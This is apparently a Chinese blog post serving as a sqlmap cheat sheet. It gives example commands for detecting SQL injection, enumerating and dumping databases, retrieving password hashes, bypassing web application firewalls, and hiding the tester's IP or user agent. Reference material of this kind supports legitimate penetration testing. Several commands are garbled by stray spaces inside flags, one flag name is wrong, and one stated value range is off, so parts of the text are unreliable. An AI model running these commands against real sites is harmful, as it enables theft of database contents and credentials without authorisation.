sqlmap指令
一、目标
-u
- 用途:指定目标URL,用于检测注入点。(url使用
'
或"
包裹) - 示例:
sqlmap -u "http://example.com/?id=1"
,这将对给定的URL进行SQL注入检测。
-m
- 用途:用于批量扫描,指定包含多个目标URL的文件。
- 示例:
sqlmap -m targets.txt
,其中 targets.txt 是一个包含多个URL的文本文件,每行一个URL。
-r
- 用途:用于从文件中读取HTTP请求(如POST请求)。通常用于处理通过Burp Suite等工具捕获并保存的请求。
- 示例:
sqlmap -r request.txt
,其中 request.txt 是包含HTTP请求内容的文件。
--cookie
- 用途:用于进行cookie注入,即通过设置特定的cookie值来测试注入。
- 示例:
sqlmap -u "http://example.com/?id=1" --cookie "user=123"
,这将使用指定的cookie值进行注入检测。
-D
- 用途:指定要操作的数据库名称。
- 示例:
sqlmap -u "http://example.com/?id=1" -D mydatabase
,这将针对名为 mydatabase 的数据库进行操作。
-T
- 用途:指定要操作的表名。
- 示例:
sqlmap -u "http://example.com/?id=1" -T mytable
,这将针对名为 mytable 的表进行操作。
-C
- 用途:指定要操作的字段名。
- 示例:
sqlmap -u "http://example.com/?id=1" -C username,password
,这将针对 username 和 password 字段进行操作。
-p
- 用途:指定要测试的参数。
- 示例:
sqlmap -u "http://example.com/search.php?category=books&keyword=python" -p keyword
, SQLmap将只针对对“keyword”参数进行注入检测,多个参数需用,
隔开。
二、脱库
-b
- 用途:获取数据库版本信息。
- 示例:
sqlmap -u "http://example.com/?id=1" -b
,这将获取目标数据库的版本。
--current - db
- 用途:获取当前连接的数据库名称。
- 示例:
sqlmap -u "http://example.com/?id=1" --current - db
,这将显示当前连接所使用的数据库。
--current - user
- 用途:获取当前用户名称。
- 示例:
sqlmap -u "http://example.com?id=1" --current - user
, 这将显示当前的用户名称。
--dbs
- 用途:获取数据库列表。
- 示例:
sqlmap -u "http://example.com/?id=1" --dbs
,这将列出目标服务器上的所有数据库。
--tables
- 用途:获取指定数据库中的表列表。
- 示例:
sqlmap -u "http://example.com/?id=1" --tables -D mydatabase
,这将列出 mydatabase 中的所有表。
--columns
- 用途:获取指定表中的列列表。
- 示例:
sqlmap -u "http://example.com/?id=1" --columns -D mydatabase -T mytable
,这将列出 mytable 中的所有列。
--schema
- 用途:获取数据库架构信息,包括数据库、表、列等的类型。
- 示例:
sqlmap -u "http://example.com/?id=1" --schema -D mydatabase
,这将获取 mydatabase 的架构信息。
--dump
- 用途:获取数据库中的数据。
- 示例:
sqlmap -u "http://example.com/?id=1" --dump -D mydatabase -T mytable
,这将导出 mytable 中的数据。
--start
- 用途:与 –dump 结合使用,指定从结果中的第几行开始获取数据。
- 示例:
sqlmap -u "http://example.com/?id=1" --dump -D mydatabase -T mytable --start=10
,这将从第10行开始导出数据。
--stop
- 用途:与 –dump 结合使用,指定到结果中的第几行结束获取数据。
- 示例:
sqlmap -u "http://example.com/?id=1" --dump -D mydatabase -T mytable --stop=20
,这将在第20行结束导出数据。
--search
- 用途:用于搜索数据库、表或列。
- 示例:
sqlmap -u "http://example.com/?id=1" --search -C password -D mydatabase
,这将在 mydatabase 中搜索包含 password 字段的表。
--tamper
- 用途:用于绕过WAF(Web应用防火墙),指定使用的tamper脚本。
- 示例:
sqlmap -u "http://example.com/?id=1" --tamper=apostrophemask.py
,这将使用 apostrophemask.py 脚本绕过WAF。
三、账号
-a
- 用途:获取所有相关信息,包括用户、权限、密码等。
- 示例:
sqlmap -u "http://example.com/?id=1" -a
,这将获取目标数据库的所有相关账号信息。
--current - user
- 用途:获取当前连接所使用的用户。
- 示例:
sqlmap -u "http://example.com/?id=1" --current - user
,这将显示当前连接所使用的用户。
--is - dbs
- 用途:检查当前用户是否为数据库管理员。
- 示例:
sqlmap -u "http://example.com/?id=1" --is - dbs
,这将检查当前用户是否是数据库管理员。
--users
- 用途:获取数据库用户列表。
- 示例:
sqlmap -u "http://example.com/?id=1" --users
,这将列出目标数据库的所有用户。
--privileges
- 用途:获取用户权限信息。
- 示例:
sqlmap -u "http://example.com/?id=1" --privileges -D mydatabase -T mytable
,这将获取对 mytable 操作的用户权限。
--passwords
- 用途:获取用户密码(通常是哈希值)。
- 示例:
sqlmap -u "http://example.com/?id=1" --passwords
,这将获取目标数据库用户的密码哈希值。
--hostname
- 用途:获取数据库服务器主机名。
- 示例:
sqlmap -u "http://example.com/?id=1" --hostname
,这将获取数据库服务器的主机名。
--statements
- 用途:获取正在运行的SQL语句。
- 示例:
sqlmap -u "http://example.com/?id=1" --statements
,这将获取目标数据库中正在运行的SQL语句。
四、其他
--batch
- 用途:在执行过程中不询问用户确认,自动按照默认选项进行操作。
- 示例:
sqlmap -u "http://example.com/?id=1" --batch
,这将自动执行操作而不询问用户。
--method
- 用途:指定请求方式为GET(默认可能是POST等其他方式)。
- 示例:
sqlmap -u "http://example.com/?id=1" --method=GET
,这将使用GET请求进行注入检测。
--random - agent
- 用途:使用随机的用户代理(User - Agent)来进行请求,避免被检测到。
- 示例:
sqlmap -u "http://example.com/?id=1" --random - agent
,这将使用随机的用户代理进行操作。
--user - agent
- 用途:自定义用户代理。
- 示例:
sqlmap -u "http://example.com/?id=1" --user - agent="Mozilla/5.0"
,这将使用自定义的用户代理进行操作。
--referer
- 用途:自定义referer值。
- 示例:
sqlmap -u "http://example.com/?id=1" --referer="http://example.com/home.php"
,这将使用自定义的referer进行操作。
--proxy
- 用途:设置代理服务器,用于隐藏真实IP或绕过访问限制。
- 示例:
sqlmap -u "http://example.com/?id=1" --proxy=127.0.0.1:8080
,这将通过本地8080端口的代理进行操作。
--threads
- 用途:指定线程数(1 ~ 10),用于提高检测效率,但可能增加被检测到的风险。
- 示例:
sqlmap -u "http://example.com/?id=1" --threads 10
,这将使用10个线程进行操作。
--level
- 用途:设置测试等级(1 ~ 5),等级越高,检测越全面,但耗时越长。
- 示例:
sqlmap -u "http://example.com/?id=1" --level=1
,这将以1级测试等级进行操作。
--risk=1
- 用途:设置风险等级(0 ~ 3),等级越高,风险越大,但可能发现更多漏洞。
- 示例:
sqlmap -u "http://example.com/?id=1" --risk=1
,这将以1级风险等级进行操作。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Vareca!
评论